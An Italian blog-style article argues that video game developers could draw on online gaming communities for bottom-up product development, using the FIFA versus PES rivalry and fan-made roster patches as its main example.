<p>Tuttavia, ancora una volta il web 2.0 viene in nostro soccorso: cosa accadrebbe se gli sviluppatori si addentrassero nelle miriadi di <strong>comunità virtuali</strong> dove<em> videogamer</em> incalliti discutono ininterrottamente di ogni aspetto riguardante i loro titoli preferiti? <strong>Forum</strong> e <strong>Blog</strong> vengono <strong>monitorati</strong> quotidianamente da migliaia di dipartimenti marketing di aziende di ogni settore, soprattutto in chiave di <strong>comunicazione</strong>, ma per quanto concerne il <em><strong>product development</strong></em>, vi sono ancora diversi ostacoli da superare.</p>
<p>In ambito di <em>videogames</em>, generalmente la produzione segue logiche <em><strong>top-down</strong></em>, con diversi titoli messi sul mercato per clienti che tutto sommato devono “farseli piacere”, al più potendo scegliere tra le diverse opzioni disponibili per una determinata categoria di gioco, come si apprende dall’<strong>eterna sfida</strong> tra <strong>FIFA</strong> e <strong>PES</strong>.</p>
<p>La storia recente del <strong><em>branding</em> </strong>insegna invece che il <strong>cliente</strong> vuole essere sempre più <strong>partecipe</strong> nel prodotto che <strong>compra</strong> e <strong>vive</strong>, e mai come oggi questa risorsa può essere ingaggiata dagli sviluppatori a <strong>basso</strong> <strong>costo</strong>, con un elevato grado di <strong>autenticità</strong> e <strong>spontaneità</strong> e con <strong>ritorno economico</strong> pressoché assicurato (in pochi avrebbero dubbi su quale titolo acquistare sapendo che le messe a punto corrispondono in larga parte a ciò essi desiderano). In poche parole, adottare una logica di sviluppo orizzontale di tipo <em><strong>bottom-up</strong></em> seguendo gli <strong><em>unmet needs</em></strong> dei giocatori, anziché creare un prodotto verticalmente e sperare che piaccia al bacino di utenza.</p>
<h2>EA Sports vs Konami</h2>
<p>La storia del <em>gaming</em> si è già mossa una volta in una direzione simile. Sul finire degli anni novanta il <strong>monopolio</strong> in ambito di videogiochi calcistici era detenuto da <strong>FIFA</strong>, prodotto dal colosso canadese <strong>EA Sports</strong>, presentatosi sul mercato nel 1993 con un <strong>prodotto rivoluzionario</strong> rispetto a qualsiasi simulatore calcistico pubblicato in precedenza.</p>
<p>I nostalgici ricorderanno le <strong>pioneristiche</strong> e <strong>rudimentali</strong> uscite a partire da <strong>Atari Soccer</strong> (1978), <strong>International Soccer</strong> (1983), <strong>Emlyn Hughes International Soccer</strong> (1988), il celeberrimo <strong>Kick Off</strong> di <strong>Dino Dini</strong> (1989), <strong>Nintendo World Cup</strong> (1991) e <strong>Sensible Soccer</strong> (1992), solo per citarne alcuni.</p>
<p>Sostituzioni dei giocatori, cambi di modulo, falli sanzionati con cartellini, telecronaca della partita e segnalazione del fuorigioco sono solo alcune delle <strong>innovazioni</strong> introdotte molto lentamente in ciascun titolo, che si presentava come radicalmente differente da quello precedente, ma solo con <strong>FIFA</strong> si ebbe una reale svolta: veniva abbandonata la tipica inquadratura dall’alto in favore di un’inedita <strong>visualizzazione isometrica</strong> (sostituita in seguito dal <strong>3D</strong>) e vennero successivamente introdotte le <strong>licenze ufficiali</strong> di squadre e giocatori, utilizzabili per la prima volta con i loro <strong>nomi reali</strong>, il tutto accompagnato a un <strong>motore grafico</strong> senza precedenti.</p>
<p>Nel frattempo, la giapponese <strong>Konami</strong> faceva a spallate per uscire dall’anonimato con il suo <strong>International Superstar Soccer</strong> e, non potendo competere sul piano delle licenze e della grafica per un’evidente <strong>disparità di risorse</strong>, investì quasi esclusivamente in <strong>giocabilità</strong>.</p>
<p>Si dovette aspettare l’inizio del nuovo millennio perché <strong>Winning Eleven</strong> e <strong>ISS Pro</strong>, successive denominazioni del gioco, iniziassero a minare il consolidato monopolio di FIFA, uscendo pian piano dalla cerchia dei <strong>pochi cultori di nicchia</strong> che diffondevano il gioco tramite <strong>passaparola</strong> (e versioni piratate), fino a conferire a <strong>PES</strong> il ruolo di <strong>antagonista di mercato</strong> di FIFA che tuttora ricopre.</p>
<p>Di più, per sopperire alla mancanza di licenze ufficiali, affezionati <strong>hacker</strong> iniziarono a far girare sottobanco versioni del gioco con i <strong>nomi corretti</strong>, in aggiunta a una selezione di <strong>squadre classiche</strong> in grado di rievocare un gusto vintage senza precedenti (un emblematico esempio di co-creazione di valore).<br />
Io stesso acquistavo al mercato (!) durante l’anno diverse versioni del gioco per destreggiarmi con la storica Italia Under 21 di <strong>Pirlo</strong> o il Napoli di <strong>Maradona</strong>, rigorosamente con menu e telecronaca in lingua giapponese.</p>
<p>Se<strong> EA Sports</strong> immetteva sul mercato un prodotto stratosferico con una grafica sempre più realistica, <strong>Konami</strong> rispondeva con prodotti semplici, ma dotati di caratteristiche molto più appetibili per i giocatori, i quali <strong>contribuirono attivamente</strong> dal loro piccolo a far <strong>crescere le quote di vendita</strong> del loro prodotto preferito, fino a consentirgli di posizionarsi alla pari del titano canadese.</p>
<h2>Considerazioni</h2>
<p>La domanda sorge spontanea: EA Sports avrebbe commesso gli stessi errori se avesse avuto l’opportunità di <strong>ascoltare i pareri delle persone</strong> alle quali il suo prodotto era rivolto, anziché calarlo dall’alto e aspettarsi che venisse acquistato indiscriminatamente a fronte degli ingenti investimenti operati?</p>
<p><strong>L&#8217;ascolto della rete</strong> si propone come metodo naturale per agire da ponte tra i due mondi, soddisfacendo esigenze ed aspettative di entrambi: <strong>giocatori</strong>, che vedrebbero sviluppati prodotti che rispondono sempre più alle caratteristiche tanto desiderate, ed <strong>aziende</strong>, che grazie a questo valore aggiunto riuscirebbero agilmente ad accrescere vendite e reputazione.</p>
<p>Pur non sapendo in dettaglio quanto le aziende sviluppatrici di <em>videogames</em> (non solo calcistici) tengano in considerazione la disponibilità di <em><strong>big data</strong></em> a fini di sviluppo del prodotto, sembrerebbe che nel complesso l’industria del <em>gaming</em> sia all’<strong>avanguardia</strong> se rapportata ad altri settori. Alcuni considerano anzi il problema in maniera opposta, ovvero nei termini di un <strong>abuso</strong> da parte delle società di sviluppo dei contenuti sviluppatisi in ambiente 2.0.</p>
<p>Probabilmente a creare <strong>ambiguità</strong> è la mancanza di studi condotti sulla rete basati su una <strong>metodologia</strong> accertata e su <strong>criteri</strong> rigorosi e <strong>scientifici</strong>, in grado di estrarre contenuti di rilievo tenendo conto dell’esperienza degli <em><strong>insider</strong> </em>all’interno delle <em>community</em>.<br />
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